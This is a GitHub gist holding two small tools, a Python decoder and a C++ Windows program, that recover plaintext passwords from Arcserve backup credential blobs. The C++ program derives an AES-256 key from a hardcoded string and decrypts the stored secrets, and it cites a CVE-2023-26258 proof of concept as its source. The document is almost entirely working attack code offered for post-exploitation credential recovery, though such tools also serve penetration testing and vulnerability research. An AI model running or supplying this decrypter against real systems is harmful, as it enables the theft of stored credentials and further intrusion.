Skip to content

Instantly share code, notes, and snippets.

@dadevel
Last active August 31, 2023 20:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dadevel/27f9a23dccaeb6968a239204f7857b94 to your computer and use it in GitHub Desktop.
Save dadevel/27f9a23dccaeb6968a239204f7857b94 to your computer and use it in GitHub Desktop.
ArcserveDecrypter
#!/usr/bin/env python3
import base64
import sys
# usage: python3 ./arcserve-convert.py BASE64BLOB -> HEXBLOB
for line in sys.argv[1:]:
value = b''
for padding in ('', '=', '=='):
try:
value = base64.b64decode(line + padding)
except Exception:
pass
if not value:
raise RuntimeError(f'failed to decode line {line!r}')
if not value.startswith(b'NEFA'):
raise RuntimeError(f'missing magic bytes at start of line {line!r}')
pos = value.rfind(b'\x00\x00\x00\x00') + 4
hexvalue = ''.join(f'{x:02x}' for x in value[pos:])
print(hexvalue)
#include <windows.h>
#include <stdio.h>
// compilation: x86_64-w64-mingw32-g++ -m64 -Wall -Wextra -std=c++20 -lstdc++ -static -Os -s -o ./ArcserveDecrypter.exe ./ArcserveDecrypter.cpp
// usage: ./ArcserveDecrypter.exe HEXBLOB
// based on https://github.com/mdsecactivebreach/CVE-2023-26258-ArcServe/blob/main/ArcServeDecrypter.c
constexpr unsigned char key[] = { 0x50, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00 };
constexpr auto key_len = sizeof(key);
void decrypt(unsigned char* data, DWORD data_len) {
HCRYPTPROV prov = 0;
CryptAcquireContextW(&prov, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
HCRYPTHASH hash = 0;
CryptCreateHash(prov, CALG_MD5, 0, 0, &hash);
CryptHashData(hash, key, key_len, 0);
HCRYPTKEY key = 0;
CryptDeriveKey(prov, CALG_AES_256, hash, 0, &key);
CryptDecrypt(key, 0, true, 0, data, &data_len);
}
unsigned char* hex2bytes(const char* hexstr, size_t final_len) {
auto chrs = reinterpret_cast<unsigned char*>(malloc((final_len + 1) * sizeof(unsigned char)));
for (size_t i = 0, j = 0; j < final_len; i += 2, j++) {
chrs[j] = (hexstr[i] % 32 + 9) % 25 * 16 + (hexstr[i + 1] % 32 + 9) % 25;
}
chrs[final_len] = '\0';
return chrs;
}
int main(int argc, char** argv) {
for (int i = 1; i < argc; ++i) {
const auto byte_len = strlen(argv[i]) / 2;
unsigned char* bytes = hex2bytes(argv[i], byte_len);
decrypt(bytes, byte_len);
printf("%ls\n", reinterpret_cast<wchar_t*>(bytes));
free(bytes);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment